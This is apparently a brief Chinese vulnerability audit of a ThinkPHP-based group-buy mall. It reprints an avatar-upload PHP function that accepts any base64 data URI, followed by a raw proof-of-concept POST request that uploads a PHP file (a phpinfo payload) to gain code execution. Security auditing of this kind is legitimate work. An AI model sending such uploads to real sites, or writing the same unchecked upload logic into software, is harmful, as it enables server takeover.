某TP拼团零售商城系统RCE漏洞审计

/runtime/log/202407/20.log

/** 个人信息*/public function avatar(){    $userLogic = new appcommonlogicUsersLogic();    $base64Image = input('base64');    if ($base64Image) {

      $dirName = "home" . DS . "user" . DS . "head_pic";      $time = time();      // 检验时间      if($this->user["head_time"] > 0){

        if($time - $this->user["head_time"]  < 60){          //                    ajaxReturn(0,'notice',"系统升级中，不能修改头像，敬请谅解");        }      }

      $back_img = uploadOneBase64Image($base64Image,$dirName);      if(!empty($back_img["error"])){        ajaxReturn(0,'notice',$back_img["error"]);      }

      $update = $userLogic->update_info($this->user_id, [                                        "head_pic"=>$back_img["imageUrl"],                                        "head_time"=>$time,                                        ]);

      if (!$update){        ajaxReturn(0,'notice',"头像更新失败！");      }else{        ajaxReturn(1,'success',"头像更新成功！",str_replace("\",'/',$back_img["imageUrl"]),"/home/user/userinfo.html");      }    }  }

POST /home/user/avatar HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 65Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=kplfq401bdcmql31vr7jp2s6ul; user_id=1; uname=%25E5%2588%2598%25E6%2580%25BBHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/homeSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1

base64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==